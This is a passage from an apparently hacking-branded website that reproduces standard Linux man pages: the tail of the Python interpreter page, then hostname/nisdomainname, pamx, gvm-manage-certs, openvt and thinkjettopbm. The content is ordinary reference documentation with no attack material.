-X dev: enable CPython’s “development mode”, introducing additional runtime checks which are too expensive to be enabled by default. It will not be more verbose than the default if the code is correct: new warnings are only emitted when an issue is detected. Effect of the developer mode: * Add default warning filter, as -W default * Install debug hooks on memory allocators: see the PyMem_SetupDebugHooks() C function * Enable the faulthandler module to dump the Python traceback on a crash * Enable asyncio debug mode * Set the dev_mode attribute of sys.flags to True * io.IOBase destructor logs close() exceptions

-X utf8: enable UTF-8 mode for operating system interfaces, overriding the default locale-aware mode. -X utf8=0 explicitly disables UTF-8 mode (even when it would otherwise activate automatically). See PYTHONUTF8 for more details

-X pycache_prefix=PATH: enable writing .pyc files to a parallel tree rooted at the given directory instead of to the code tree.

-X warn_default_encoding: enable opt-in EncodingWarning for ’encoding=None'

-X no_debug_ranges: disable the inclusion of the tables mapping extra location information (end line, start column offset and end column offset) to every instruction in code objects. This is useful when smaller code objects and pyc files are desired as well as suppressing the extra visual location indicators when the interpreter displays tracebacks.

-X frozen_modules=[on|off]: whether or not frozen modules should be used. The default is “on” (or “off” if you are running a local build).

-X int_max_str_digits=number: limit the size of int<->str conversions. This helps avoid denial of service attacks when parsing untrusted data. The default is sys.int_info.default_max_str_digits. 0 disables.

-x
Skip the first line of the source. This is intended for a DOS specific hack only. Warning: the line numbers in error messages will be off by one!

INTERPRETER INTERFACE

The interpreter interface resembles that of the UNIX shell: when called with standard input connected to a tty device, it prompts for commands and executes them until an EOF is read; when called with a file name argument or with a file as standard input, it reads and executes a script from that file; when called with -c command, it executes the Python statement(s) given as command. Here command may contain multiple statements separated by newlines. Leading whitespace is significant in Python statements! In non-interactive mode, the entire input is parsed before it is executed.

If available, the script name and additional arguments thereafter are passed to the script in the Python variable sys.argv, which is a list of strings (you must first import sys to be able to access it). If no script name is given, sys.argv[0] is an empty string; if -c is used, sys.argv[0] contains the string ’-c’. Note that options interpreted by the Python interpreter itself are not placed in sys.argv.

In interactive mode, the primary prompt is `>>>’; the second prompt (which appears when a command is not complete) is `…’. The prompts can be changed by assignment to sys.ps1 or sys.ps2. The interpreter quits when it reads an EOF at a prompt. When an unhandled exception occurs, a stack trace is printed and control returns to the primary prompt; in non-interactive mode, the interpreter exits after printing the stack trace. The interrupt signal raises the KeyboardInterrupt exception; other UNIX signals are not caught (except that SIGPIPE is sometimes ignored, in favor of the IOError exception). Error messages are written to stderr.

FILES AND DIRECTORIES

These are subject to difference depending on local installation conventions; ${prefix} and ${exec_prefix} are installation-dependent and should be interpreted as for GNU software; they may be the same. On Debian GNU/{Hurd,Linux} the default for both is /usr.

${exec_prefix}/bin/python
Recommended location of the interpreter.

${prefix}/lib/python<version>
${exec_prefix}/lib/python<version>

Recommended locations of the directories containing the standard modules.

${prefix}/include/python<version>
${exec_prefix}/include/python<version>

Recommended locations of the directories containing the include files needed for developing Python extensions and embedding the interpreter.

ENVIRONMENT VARIABLES

PYTHONSAFEPATH
If this is set to a non-empty string, don’t automatically prepend a potentially unsafe path to sys.path such as the current directory, the script’s directory or an empty string. See also the -P option.

PYTHONHOME
Change the location of the standard Python libraries. By default, the libraries are searched in ${prefix}/lib/python<version> and ${exec_prefix}/lib/python<version>, where ${prefix} and ${exec_prefix} are installation-dependent directories, both defaulting to /usr/local. When $PYTHONHOME is set to a single directory, its value replaces both ${prefix} and ${exec_prefix}. To specify different values for these, set $PYTHONHOME to ${prefix}:${exec_prefix}.

PYTHONPATH
Augments the default search path for module files. The format is the same as the shell’s $PATH: one or more directory pathnames separated by colons. Non-existent directories are silently ignored. The default search path is installation dependent, but generally begins with ${prefix}/lib/python<version> (see PYTHONHOME above). The default search path is always appended to $PYTHONPATH. If a script argument is given, the directory containing the script is inserted in the path in front of $PYTHONPATH. The search path can be manipulated from within a Python program as the variable sys.path.

PYTHONPLATLIBDIR
Override sys.platlibdir.

PYTHONSTARTUP
If this is the name of a readable file, the Python commands in that file are executed before the first prompt is displayed in interactive mode. The file is executed in the same name space where interactive commands are executed so that objects defined or imported in it can be used without qualification in the interactive session. You can also change the prompts sys.ps1 and sys.ps2 in this file.

PYTHONOPTIMIZE
If this is set to a non-empty string it is equivalent to specifying the -O option. If set to an integer, it is equivalent to specifying -O multiple times.

PYTHONDEBUG
If this is set to a non-empty string it is equivalent to specifying the -d option. If set to an integer, it is equivalent to specifying -d multiple times.

PYTHONDONTWRITEBYTECODE
If this is set to a non-empty string it is equivalent to specifying the -B option (don’t try to write .pyc files).

PYTHONINSPECT
If this is set to a non-empty string it is equivalent to specifying the -i option.

PYTHONIOENCODING
If this is set before running the interpreter, it overrides the encoding used for stdin/stdout/stderr, in the syntax encodingname**:**errorhandler The errorhandler part is optional and has the same meaning as in str.encode. For stderr, the errorhandler part is ignored; the handler will always be ‘backslashreplace’.

PYTHONNOUSERSITE
If this is set to a non-empty string it is equivalent to specifying the -s option (Don’t add the user site directory to sys.path).

PYTHONUNBUFFERED
If this is set to a non-empty string it is equivalent to specifying the -u option.

PYTHONVERBOSE
If this is set to a non-empty string it is equivalent to specifying the -v option. If set to an integer, it is equivalent to specifying -v multiple times.

PYTHONWARNINGS
If this is set to a comma-separated string it is equivalent to specifying the -W option for each separate value.

PYTHONHASHSEED
If this variable is set to “random”, a random value is used to seed the hashes of str and bytes objects.

If PYTHONHASHSEED is set to an integer value, it is used as a fixed seed for generating the hash() of the types covered by the hash randomization. Its purpose is to allow repeatable hashing, such as for selftests for the interpreter itself, or to allow a cluster of python processes to share hash values.

The integer must be a decimal number in the range [0,4294967295]. Specifying the value 0 will disable hash randomization.

PYTHONINTMAXSTRDIGITS
Limit the maximum digit characters in an int value when converting from a string and when converting an int back to a str. A value of 0 disables the limit. Conversions to or from bases 2, 4, 8, 16, and 32 are never limited.

PYTHONMALLOC
Set the Python memory allocators and/or install debug hooks. The available memory allocators are malloc and pymalloc. The available debug hooks are debug, malloc_debug, and pymalloc_debug.

When Python is compiled in debug mode, the default is pymalloc_debug and the debug hooks are automatically used. Otherwise, the default is pymalloc.

PYTHONMALLOCSTATS
If set to a non-empty string, Python will print statistics of the pymalloc memory allocator every time a new pymalloc object arena is created, and on shutdown.

This variable is ignored if the $PYTHONMALLOC environment variable is used to force the malloc(3) allocator of the C library, or if Python is configured without pymalloc support.

PYTHONASYNCIODEBUG
If this environment variable is set to a non-empty string, enable the debug mode of the asyncio module.

PYTHONTRACEMALLOC
If this environment variable is set to a non-empty string, start tracing Python memory allocations using the tracemalloc module.

The value of the variable is the maximum number of frames stored in a traceback of a trace. For example, PYTHONTRACEMALLOC=1 stores only the most recent frame.

PYTHONFAULTHANDLER
If this environment variable is set to a non-empty string, faulthandler.enable() is called at startup: install a handler for SIGSEGV, SIGFPE, SIGABRT, SIGBUS and SIGILL signals to dump the Python traceback.

This is equivalent to the -X faulthandler option.

PYTHONEXECUTABLE
If this environment variable is set, sys.argv[0] will be set to its value instead of the value got through the C runtime. Only works on Mac OS X.

PYTHONUSERBASE
Defines the user base directory, which is used to compute the path of the user site-packages directory and Distutils installation paths for python setup.py install –user.

PYTHONPROFILEIMPORTTIME
If this environment variable is set to a non-empty string, Python will show how long each import takes. This is exactly equivalent to setting -X importtime on the command line.

PYTHONBREAKPOINT
If this environment variable is set to 0, it disables the default debugger. It can be set to the callable of your debugger of choice.

Debug-mode variables

Setting these variables only has an effect in a debug build of Python, that is, if Python was configured with the –with-pydebug build option.

PYTHONTHREADDEBUG
If this environment variable is set, Python will print threading debug info. The feature is deprecated in Python 3.10 and will be removed in Python 3.12.

PYTHONDUMPREFS
If this environment variable is set, Python will dump objects and reference counts still alive after shutting down the interpreter.

AUTHOR

The Python Software Foundation: https://www.python.org/psf/

INTERNET RESOURCES

Main website: https://www.python.org/
Documentation: https://docs.python.org/
Developer resources: https://devguide.python.org/
Downloads: https://www.python.org/downloads/
Module repository: https://pypi.org/
Newsgroups: comp.lang.python, comp.lang.python.announce

LICENSING

Python is distributed under an Open Source license. See the file “LICENSE” in the Python source distribution for information on terms & conditions for accessing and otherwise using Python and for a DISCLAIMER OF ALL WARRANTIES.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

184 - Linux cli command nisdomainname

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nisdomainname and provides detailed information about the command nisdomainname, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nisdomainname.

NAME 🖥️ nisdomainname 🖥️

show or set the system’s host name
domainname - show or set the system’s NIS/YP domain name
ypdomainname - show or set the system’s NIS/YP domain name
nisdomainname - show or set the system’s NIS/YP domain name
dnsdomainname - show the system’s DNS domain name

SYNOPSIS

hostname [-a|–alias] [-d|–domain] [-f|–fqdn|–long] [-A|–all-fqdns] [-i|–ip-address] [-I|–all-ip-addresses] [-s|–short] [-y|–yp|–nis]
hostname [-b|–boot] [-F|–file filename] [hostname]
hostname [-h|–help] [-V|–version]

domainname [nisdomain] [-F file]
ypdomainname [nisdomain] [-F file]
nisdomainname [nisdomain] [-F file]

dnsdomainname

DESCRIPTION

Hostname is used to display the system’s DNS name, and to display or set its hostname or NIS domain name.

GET NAME

When called without any arguments, the program displays the current names:

hostname will print the name of the system as returned by the gethostname(2) function.

domainname will print the NIS domainname of the system. domainname uses the gethostname(2) function, while ypdomainname and nisdomainname use the getdomainname(2).

dnsdomainname will print the domain part of the FQDN (Fully Qualified Domain Name). The complete FQDN of the system is returned with hostname –fqdn (but see the warnings in section THE FQDN below).

SET NAME

When called with one argument or with the –file option, the commands set the host name or the NIS/YP domain name. hostname uses the sethostname(2) function, while all of the three domainname, ypdomainname and nisdomainname use setdomainname(2). Note, that this is effective only until the next reboot. Edit /etc/hostname for permanent change.

Note, that only the super-user can change the names.

It is not possible to set the FQDN or the DNS domain name with the dnsdomainname command (see THE FQDN below).

The host name is usually set once at system startup in /etc/init.d/hostname.sh (normally by reading the contents of a file which contains the host name, e.g. /etc/hostname).

THE FQDN

The FQDN (Fully Qualified Domain Name) of the system is the name that the resolver(3) returns for the host name, such as, ursula.example.com. It is usually the hostname followed by the DNS domain name (the part after the first dot). You can check the FQDN using hostname –fqdn or the domain name using dnsdomainname.

You cannot change the FQDN with hostname or dnsdomainname.

The recommended method of setting the FQDN is to make the hostname be an alias for the fully qualified name using /etc/hosts, DNS, or NIS. For example, if the hostname was “ursula”, one might have a line in /etc/hosts which reads

127.0.1.1 ursula.example.com ursula

Technically: The FQDN is the name getaddrinfo(3) returns for the host name returned by gethostname(2). The DNS domain name is the part after the first dot.

Therefore it depends on the configuration of the resolver (usually in /etc/host.conf) how you can change it. Usually the hosts file is parsed before DNS or NIS, so it is most common to change the FQDN in /etc/hosts.

If a machine has multiple network interfaces/addresses or is used in a mobile environment, then it may either have multiple FQDNs/domain names or none at all. Therefore avoid using hostname –fqdn, hostname –domain and dnsdomainname. hostname –ip-address is subject to the same limitations so it should be avoided as well.

OPTIONS

-a, –alias
Display the alias name of the host (if used). This option is deprecated and should not be used anymore.

-A, –all-fqdns
Displays all FQDNs of the machine. This option enumerates all configured network addresses on all configured network interfaces, and translates them to DNS domain names. Addresses that cannot be translated (i.e. because they do not have an appropriate reverse IP entry) are skipped. Note that different addresses may resolve to the same name, therefore the output may contain duplicate entries. Do not make any assumptions about the order of the output.

-b, –boot
Always set a hostname; this allows the file specified by -F to be non-existent or empty, in which case the default hostname localhost will be used if none is yet set.

-d, –domain
Display the name of the DNS domain. Don’t use the command domainname to get the DNS domain name because it will show the NIS domain name and not the DNS domain name. Use dnsdomainname instead. See the warnings in section THE FQDN above, and avoid using this option.

-f, –fqdn, –long
Display the FQDN (Fully Qualified Domain Name). A FQDN consists of a short host name and the DNS domain name. Unless you are using bind or NIS for host lookups you can change the FQDN and the DNS domain name (which is part of the FQDN) in the /etc/hosts file. See the warnings in section THE FQDN above und use hostname –all-fqdns instead wherever possible.

-F, –file filename
Read the host name from the specified file. Comments (lines starting with a `#’) are ignored.

-i, –ip-address
Display the network address(es) of the host name. Note that this works only if the host name can be resolved. Avoid using this option; use hostname –all-ip-addresses instead.

-I, –all-ip-addresses
Display all network addresses of the host. This option enumerates all configured addresses on all network interfaces. The loopback interface and IPv6 link-local addresses are omitted. Contrary to option -i, this option does not depend on name resolution. Do not make any assumptions about the order of the output.

-s, –short
Display the short host name. This is the host name cut at the first dot.

-V, –version
Print version information on standard output and exit successfully.

-y, –yp, –nis
Display the NIS domain name. If a parameter is given (or –file name ) then root can also set a new NIS domain.

-h, –help
Print a usage message and exit.

NOTES

The address families hostname tries when looking up the FQDN, aliases and network addresses of the host are determined by the configuration of your resolver. For instance, on GNU Libc systems, the resolver can be instructed to try IPv6 lookups first by using the inet6 option in /etc/resolv.conf.

FILES

/etc/hostname Historically this file was supposed to only contain the hostname and not the full canonical FQDN. Nowadays most software is able to cope with a full FQDN here. This file is read at boot time by the system initialization scripts to set the hostname.

/etc/hosts Usually, this is where one sets the domain name by aliasing the host name to the FQDN.

AUTHORS

Peter Tobias, <[email protected]>
Bernd Eckenfels, <[email protected]> (NIS and manpage).
Michael Meskes, <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

185 - Linux cli command pamx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamx and provides detailed information about the command pamx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamx.

.

NAME 🖥️ pamx 🖥️

display Netpbm image in X Window System window

SYNOPSIS

pamx

[-fullscreen] [-install] [-private] [-fit] [-pixmap] [-verbose] [**-display=x-display] [-title=text] [-foreground=color] [-background=color] [-border=color] [-geometry=x-geometry-string] [-visual=**name] netpbm_file

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamx displays a Netpbm image in an X Window System window. It is like a very simple version of the classic X image viewer xloadimage.

If you don’t specify the input file netpbm_file, the input is from Standard Input. The input image can be any Netpbm image format. If the input is a multi-image stream, pamx ignores all but the first image.

pamx is not the best choice for general purpose viewing of images, because it is a traditional simple Netpbm building block. It is a good thing to build into other programs and can be useful for debugging more complex systems, but you can get much more powerful viewers that can display Netpbm images. For example, xloadimage, xli, xzgv, and any web browser.

The program xwud (X Window Undump) is part of the X Window System and performs the same basic display function, though with input in the special X Window Dump format (for which Netpbm has converters).

The initial window is at most 90% of the size of the display unless the window manager does not correctly handle window size requests or if you’ve used the -fullscreen option. You may move the image around in the window by dragging with the first mouse button. The cursor will indicate which directions you may drag, if any. You may exit the window by typing ‘q’ or control-C when the keyboard focus is on the window.

ppmsvgalib is a similar program that displays an image on a Linux system without the need for the X Window System.

X RESOURCE CLASS

pamx uses the resource class name Xloadimage for window managers which need this resource set. This is, of course, the same resource class that the conventional viewer program xloadimage uses.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamx recognizes the following command line options:

**-border=**color
This sets the background portion of the window which is not covered by any images to be color.

**-display=**display_name
This names the X display in which to put the window. E.g. 0:0.

-fit
Force image to use the default visual and colormap. This is useful if you do not want technicolor effects when the colormap focus is inside the image window, but it may reduce the quality of the displayed image.

-fullscreen
Use the entire screen to display the image.

-geometry=WxH[{+,-}X{+,-}Y
This sets the size and position of the window in which pamx displays the image.

By default, the window size exactly matches the image size, except that if you don’t specify -fullscreen, the maximum is 90% of the screen dimensions.

-install
Forcibly install the image’s colormap when the window is focused. This violates ICCCM standards and only exists to allow operation with naive window managers. Use this option only if your window manager does not install colormaps properly.

-pixmap
Force the use of a pixmap as backing-store. This is provided for servers where backing-store is broken (such as some versions of the AIXWindows server). It may improve scrolling performance on servers which provide backing-store.

-private
Force pamx to use of a private colormap. By default, pamx allocates colors shared unless there are not enough colors available.

-verbose
Causes pamx to print various information about what it’s doing to Standard Error.

**-visual=**visual_name
Force the use of a specific visual type to display an image. By default, pamx tries to pick the best available image for a particular image type. The available visual types are: DirectColor, TrueColor, PseudoColor, StaticColor, GrayScale, and StaticGray. You may use the shortest unique prefix of these names, and case is not significant.

**-background=**color
Use color as the background color instead of the default (usually white but this depends on the image type) if you are transferring a monochrome image to a color display.

**-foreground=**color
Use color as the foreground color instead of black if you are transferring a monochrome image to a color display. You can also use this to invert the foreground and background colors of a monochrome image.

**-title=**text
Set the title bar title of the window. Default is the file name of the input file, or “stdin” if the image is from Standard Input.

SEE ALSO

ppmsvgalib(1) , pam(1) , pnm(1) , xzgv, xwud, xloadimage, xli

AUTHOR

pamx is by Bryan Henderson, in March 2006, based on xloadimage by Jim Frost, Centerline Software, [email protected], 1989-1993.

Jim’s code contained the following copyright notice and license:

Copyright 1989, 1993 Jim Frost

Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. The author makes no representations about the suitability of this software for any purpose. It is provided “as is” without express or implied warranty.

THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

Lots of other people contributed to Xloadimage, and they are listed in the file COPYRIGHT in the source code.

HISTORY

pamx was new in Netpbm 10.34 (May 2006).

pamx is essentially based on the classic X displayer program xloadimage by Jim Frost, 1989. Bryan Henderson stripped it down and adapted it to Netpbm in March 2006.

The following features of xloadimage are left out of pamx, to be more compatible with Netpbm’s philosophy of simple building blocks. Note that there are other programs in Netpbm that do most of these things:

  • zoom in/out

  • ability to accept formats other than Netpbm

  • image transformations (brightening, clipping, rotating, etc)

  • decompressing and other decoding of input

  • ability to display on the root window

  • slide show

pamx also differs from xloadimage in that it uses Libnetpbm.

There is virtually no code from xloadimage actually in pamx, because Bryan rewrote it all to make it easier to understand.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamx.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

186 - Linux cli command gvm-manage-certs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gvm-manage-certs and provides detailed information about the command gvm-manage-certs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gvm-manage-certs.

NAME 🖥️ gvm-manage-certs 🖥️

manage-certs - manage certificate infrastructure for a GVM installation

SYNOPSIS

gvm-manage-certs [OPTION]…

DESCRIPTION

gvm-manage-certs manages the certificate infrastructure for a GVM installation. The certificate infrastructure enables GVM daemons to communicate in a secure manner and is used for authentication and authorization before establishing TLS connections between the daemons.

The GVM certificate infrastructure consists of a certificate authority (CA) which is trusted by all GVM daemons. This CA is then used to sign certificates used by the various daemons. The certificates can be divided into two use cases:

  • Server certificates, primarily used for authentication

  • Client certificates, primarily used for authorization

gvm-manage-certs can perform an automatic creation of a default certificate infrastructure for a standard GVM installation. It can also verify an existing infrastructure and perform various certificate related tasks to support the setup of a more complex infrastructure.

OPTIONS

Certificate infrastructure management

-a
Automatically set up default infrastructure for GVM

-V
Verify existing GVM certificate infrastructure

-C
Create a certificate authority (CA)

-R
Create a certificate request for a CA

-r
Create a certificate request for a CA and sign it

-C
Create a certificate authority (CA)

-I
Install a CA certificate

-c
Create a certificate request and sign it

-i
Install a certificate

-S
Sign a certificate request

-f
Force overwriting of existing files

Certificate options

-E
Create a server certificate. This sets the appropriate key usage constraints for a server certificate.

-L
Create a client certificate. This sets the appropriate key usage constraints for a client certificate.

-A
Skip CA generation in automatic mode. This automatically (re-)generates server and client certificates, but keeps the CA certificate.

Configuration

-e file Read configuration from file (see below for configuration details)

Output control

-d
Print debug output

-v
Print verbose messages

-q
Be quiet, only print error messages

Other options

-h
Print help

EXIT STATUS

0
The requested operation was successfully performed.

1
An error occurred, the requested operation could not be performed.

ENVIRONMENT

All certificate generation options can be set either through the configuration file or through environment variables like the following:

GVM_CERTIFICATE_LIFETIME
Days until the certificate will expire

GVM_CERTIFICATE_HOSTNAME
Name to use for the certificate

GVM_CERTIFICATE_SIGNALG
Hash algorithm to use for signing

GVM_CERTIFICATE_KEYSIZE
Size in bits of the generated key

GVM_CERTIFICATE_SECPARAM
GnuTLS security level [low|medium|high|ultra]

GVM_CERT_DIR
Directory where keys and certificates are stored before installation

GVM_CERT_PREFIX
Prefix for certificate filename (e.g. “server”)

For a complete list of options, please refer to the example configuration file included in the documentation.

SEE ALSO

openvas(8), gvmd(8), gsad(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

187 - Linux cli command openvt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openvt and provides detailed information about the command openvt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openvt.

NAME 🖥️ openvt 🖥️

start a program on a new virtual terminal (VT).

SYNOPSIS

openvt [-c vtnumber] [OPTIONS] [–] command

DESCRIPTION

openvt will find the first available VT, and run on it the given command with the given command options , standard input, output and error are directed to that terminal. The current search path ($PATH) is used to find the requested command. If no command is specified then the environment variable $SHELL is used.

OPTIONS

-c, –console=VTNUMBER
Use the given VT number and not the first available. Note you must have write access to the supplied VT for this to work.

-f, –force
Force opening a VT without checking whether it is already in use.

-e, –exec
Directly execute the given command, without forking. This option is meant for use in /etc/inittab. If you want to use this feature in another context, be aware that openvt has to be a session leader in order for -e to work. See setsid(2) or setsid(1) on how to achieve this.

-s, –switch
Switch to the new VT when starting the command. The VT of the new command will be made the new current VT.

-u, –user
Figure out the owner of the current VT, and run login as that user. Suitable to be called by init. Shouldn’t be used with -c or -l.

-l, –login
Make the command a login shell. A - is prepended to the name of the command to be executed.

-v, –verbose
Be a bit more verbose.

-w, –wait
wait for command to complete. If -w and -s are used together then openvt will switch back to the controlling terminal when the command completes.

-V, –version
print program version and exit.

-h, –help
show this text and exit.


end of options to openvt.

NOTE

If openvt is compiled with a getopt_long() and you wish to set options to the command to be run, then you must supply the end of options – flag before the command.

EXAMPLES

openvt can be used to start a shell on the next free VT, by using the command:

openvt bash
To start the shell as a login shell, use:
openvt -l bash
To get a long listing you must supply the – separator:
openvt – ls -l

HISTORY

Earlier, openvt was called open. It was written by Jon Tombs <[email protected]> or <[email protected]>. The -w idea is from “sam”.

SEE ALSO

chvt(1), doshell(8), login(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

188 - Linux cli command thinkjettopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command thinkjettopbm and provides detailed information about the command thinkjettopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the thinkjettopbm.

.

NAME 🖥️ thinkjettopbm 🖥️

convert HP ThinkJet printer commands file to PBM

SYNOPSIS

thinkjettopbm

[-d]

[thinkjet_file]

DESCRIPTION

This program is part of Netpbm(1) .

thinkjettopbm reads HP ThinkJet printer commands from the standard input, or thinkjet_file if specified, and writes a PBM image to Standard Output.

thinkjettopbm silently ignores text and non-graphics command sequences.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), thinkjettopbm recognizes the following command line option:

-d
Turns on debugging messages which are written to the standard error stream.

LIMITATIONS

The program handles only a small subset of ThinkJet command sequences, but enough to convert screen images from older HP test equipment.

SEE ALSO

pnmtopclxl(1) , pbmtolj(1) , ppmtolj(1) , ppmtopj(1) , pjtoppm(1) , pbm(1)

AUTHOR

Copyright (C) 2001 by W. Eric Norum

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/thinkjettopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
